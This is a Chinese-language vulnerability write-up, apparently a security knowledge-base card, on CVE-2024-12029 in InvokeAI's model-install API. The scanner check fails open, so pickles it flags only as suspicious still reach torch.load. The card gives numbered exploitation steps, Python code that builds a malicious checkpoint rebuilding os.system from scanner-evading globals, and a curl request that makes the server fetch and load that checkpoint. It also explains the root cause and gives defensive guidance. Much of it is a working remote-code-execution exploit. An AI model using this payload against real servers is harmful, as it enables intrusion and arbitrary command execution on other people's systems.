InvokeAI /api/v2/models/install 外部 checkpoint 反序列化 RCE:picklescan Suspicious/扫描错误被 fail-open 放行(CVE-2024-12029)
ai-security/supply-chain · verified
一句话结论
InvokeAI 5.3.1 ~ 5.4.2 的 /api/v2/models/install 接受外部 URL 并自动下载 checkpoint,安装流程先用 picklescan 扫描、再 torch.load 加载;旧策略只在 infected_files != 0 时拒绝,而用三个仅被标记为 Suspicious 的全局(__builtin__.__import__、__builtin__.vars、_operator.getitem)动态拼出 os.system 的 pickle 链。原文正文称扫描结果为 infected_files=0、scan_err=False、suspicious_count=3;但原文图11 的复现实际显示 scan_err=InvalidMagicError(模拟扫描器无法解析旧格式)时业务仍继续 torch.load。无论 Suspicious 还是扫描错误,旧策略只看 infected_files,于是被当作“安全”加载,在服务进程权限下执行任意命令(CVE-2024-12029)。
原理
- 模型安装入口:
/api/v2/models/install的source参数支持本地路径、Hugging Face repo_id 和 HTTP URL;_guess_source()用^https?://识别 URL 并构造URLModelSource,随后_import_from_url()→_remote_files_from_source()→_import_remote_model()→_multifile_download()把外部 checkpoint 拉进本地安装目录并提交下载队列。 - 扫描与加载的顺序:
ModelProbe._scan_and_load_checkpoint()对.ckpt/.pt/.pth/.bin调用_scan_model()(内部picklescan.scan_file_path),然后无条件torch.load(model_path, map_location="cpu")。旧代码只判断scan_result.infected_files != 0;扫描结果实际有三种状态: - A. 扫描完成、未发现恶意全局:
infected_files=0, scan_err=False, suspicious_count=0; - B. 扫描没有完成(无法解析/异常):
infected_files=0, scan_err=True; - C. 扫描完成、但命中全局只达到 Suspicious:
infected_files=0, scan_err=False, suspicious_count>0。 旧策略把 B、C 与 A 混为一谈:只要没有 reported infected file,就继续进入高能力反序列化器。 - 为什么 picklescan 只报 Suspicious:picklescan 把
exec、os.system、subprocess、builtins.getattr、operator.attrgetter等直接出现在 pickleGLOBAL中的调用归为 Dangerous,会令infected_files增加;但__builtin__.__import__、__builtin__.vars、_operator.getitem只被归为 Suspicious。攻击者可以把最终 callable 拆成多个 REDUCE 动态恢复,避免任何 Dangerous 全局出现在文件里。 - Payload 构造:用一个可 pickle 的
Callthunk 包装函数与参数,__reduce__返回(self.func, self.args)。链为: Call(builtins.__import__, ("os",))→ 得到 os 模块;Call(builtins.vars, (os_module,))→ 得到 os 模块的__dict__;Call(operator.getitem, (os_dict, "system"))→ 从字典取system;Call(os_system, (cmd,))→ 顶层调用os.system(cmd)。 由于顶层 func 本身是上一层 REDUCE 的返回值,pickle 文件中的 GLOBAL 只有__builtin__.__import__、__builtin__.vars、_operator.getitem,不会出现os.system。- 执行时机:
torch.load在 torch 2.6 之前默认weights_only=False,使用完整 pickle 语义;恢复对象时调用__reduce__返回的 callable,副作用发生在 checkpoint 反序列化阶段,不需要模型推理。原文环境为 InvokeAI 5.4.2 + picklescan 1.0.5 + PyTorch 2.4.1。 - 根因是策略 fail-open,而不是“没有扫描”:扫描器给出了 Suspicious 结论,但业务只把
infected_files当作准入条件;scan_err与suspicious_count没有进入决策。原文用同一文件做对照:漏洞策略continue_to_torch_load并生成 marker;参考 fail-closed 策略reject_before_torch_load,marker 不存在。 - 修复边界:官方 diff 把条件改为
infected_files != 0 or scan_err,并把read_checkpoint_meta的默认扫描改为 True;但该条件仍未直接拒绝“infected_files=0、scan_err=False、suspicious_count>0”的状态 C。原文因此把reject any non-Innocuous global作为更严格的参考准入策略,并指出对官方修复版本仍需用相同样本做版本回归。通用原则:任何无法明确确认安全的扫描结果,都不应直接进入高能力反序列化器。
触发条件
- InvokeAI 5.3.1 ~ 5.4.2(5.4.3rc2+ 修复)。
- 运行环境 torch 2.6 以下(默认
weights_only=False);原文实测 PyTorch 2.4.1。 /api/v2/models/install可从攻击者网络访问,且允许外部 HTTP URL 作为source(默认行为;无需认证的描述见原文入口)。- 服务进程能出网/回连攻击者的模型托管地址,或攻击者能提供可达 URL。
- 目标使用 picklescan 且版本/规则会把上述三个全局归为 Suspicious 而非 Dangerous;不同 picklescan 版本的分类可能变化,需按目标版本验证。
- 服务进程对安装目录可写;RCE 以该进程权限执行(原文为普通用户 chihiro,但可替换为反弹 shell/挖矿等)。
- 目标未在首次加载时做沙箱隔离,也未强制
weights_only=True。
利用步骤
- 构造恶意 checkpoint:实现
Callthunk(__reduce__返回(func, args)),按__import__('os') → vars(os) → os.__dict__['system'] → call(cmd)组装嵌套调用,用torch.save保存为.ckpt/.pt。目的是让 pickle 中只出现 Suspicious 全局,不出现 Dangerous 全局。 - 本地验证扫描结果:用目标同版本 picklescan
scan_file_path检查样本,确认infected_files=0且scan_err=True或suspicious_count>0(原文截图实际为 InvalidMagicError,正文另称 suspicious_count=3),两者都会进入torch.load。 - 托管样本:把恶意 checkpoint 放到攻击者控制的 HTTP 服务(原文
python -m http.server 8001),确保目标可访问。 - 提交安装请求:
POST /api/v2/models/install?source=http%3A%2F%2F<host>%2Fevil.ckpt&inplace=false,Content-Type: application/json,body 为{};响应中应看到source.url与status: waiting。 - 等待下载与安装:服务日志出现
Queueing model install、File download started、Download complete、Model install started,随后进入扫描与torch.load。 - 验证副作用:检查 marker 文件或反弹 shell;原文用
echo CVE-2024-12029:$(whoami)@$(hostname) > /tmp/invokeai_pickle_marker.txt,进一步用open -a Calculator弹出计算器证明 RCE。 - 对照 fail-closed:同一文件在参考策略下应在
torch.load前被拒绝,marker 不出现;用于验证目标策略是否真正关闭了 fail-open 分支。
PoC
恶意 checkpoint 构造(原文核心逻辑,简化):
import builtins
import operator
import torch
class Call:
def __init__(self, func, args):
self.func, self.args = func, args
def __call__(self):
...
def __reduce__(self):
return (self.func, self.args)
def build_payload(cmd):
os_module = Call(builtins.__import__, ("os",))
os_dict = Call(builtins.vars, (os_module,))
os_system = Call(operator.getitem, (os_dict, "system"))
return Call(os_system, (cmd,))
payload = {
"state_dict": {},
"metadata": build_payload(
"echo CVE-2024-12029:$(whoami)@$(hostname) > /tmp/invokeai_pickle_marker.txt"
),
}
torch.save(payload, "/tmp/evil_legacy.ckpt")
pickle 反汇编应只出现 Suspicious 全局:
GLOBAL __builtin__ __import__
GLOBAL __builtin__ vars
GLOBAL _operator getitem
REDUCE ... # 逐层恢复 os.system 并最终调用
提交安装:
curl -sS -X POST \
'http://127.0.0.1:9090/api/v2/models/install?source=http%3A%2F%2F127.0.0.1%3A8001%2Fevil_legacy.ckpt&inplace=false' \
-H 'Content-Type: application/json' -d '{}'
原文正文称 picklescan 返回 infected_files=0, scan_err=False, suspicious_count=3,但图11 的复现实际显示 scan_err=InvalidMagicError 仍继续加载;两种结果都说明旧策略只以 infected_files 为准。漏洞策略 continue_to_torch_load 后 marker 内容为 CVE-2024-12029:chihiro@chihirodeMacBook-Air.local;参考 fail-closed 策略 reject_before_torch_load,marker 不存在。
变体与关联
- 扫描状态 B(scan_err):无法解析的 checkpoint 也可能
infected_files=0,旧策略同样放行;利用方式是构造 picklescan 解析失败的畸形 pickle/容器,再依赖torch.load的容错解析。 - 其他 Suspicious 组合:除
__import__/vars/getitem外,任何被扫描器归为低危的可调用对象都可作为搭建块;核心是“动态恢复 callable + 不出现 Dangerous 全局”。 - 其他模型安装入口/格式:同类“下载→扫描→加载”链可出现在其他 AI 应用的模型管理 API;
.pt/.pth/.bin/.ckpt都可能走 pickle。Hugging Face 恶意模型 pickle 是同一原语的不同投递面。 - torch 版本分水岭:torch 2.6+ 默认
weights_only=True,完整 pickle 语义被限制,payload 在加载阶段被拦截;但“加载失败后自动回退weights_only=False”的代码会重新打开风险。 - 修复对照:官方 diff 加
scan_err与默认扫描,但对 Suspicious-only 状态仍可能放行;更稳妥的是 fail-closed(拒绝任何非 Innocuous 全局)或直接改用安全格式/受限加载。 - 关联卡片:[[ai-security-supply-chain-huggingface-pickle-model-reverse-shell]](恶意模型 pickle 加载即 RCE 的通用投递面)、[[ai-security-supply-chain-safetensors-duplicate-key-audit-bypass]](模型文件格式与扫描器语义差异导致的审计绕过)。
检测与防御
- Fail-closed 准入:
infected_files != 0、scan_err=True、suspicious_count>0或任何无法确认 Innocuous 的扫描结果都应拒绝进入torch.load;不要把“没有 Dangerous”当作“安全”。 - 强制受限加载:对不可信 checkpoint 使用
torch.load(..., weights_only=True)或安全格式(safetensors);禁止加载失败后自动回退到weights_only=False。 - 首次加载隔离:在一次性沙箱中完成首次加载,使用非 root 用户、无云凭据/SSH Key、默认阻断出站、只读根文件系统、不挂载 Docker Socket 与宿主敏感目录,并限制 CPU/内存/进程/时间。
- 入口与网络:限制
/api/v2/models/install的外部 URL 来源(域名白名单/仅可信模型仓库),对安装请求做认证与审计;不让模型服务直接访问任意公网 URL。 - 扫描器与加载器对齐:确保扫描器覆盖加载器支持的全部对象/容器语法;对扫描器异常、版本差异、只支持部分结构的情况一律按不安全处理;定期用已知恶意样本回归测试。
- 监控与应急:告警外部 URL 模型安装、picklescan
suspicious_count>0、torch.load的weights_only=False警告、安装后异常子进程/网络连接;发现后隔离主机、删除恶意 checkpoint、轮换服务凭据并检查持久化。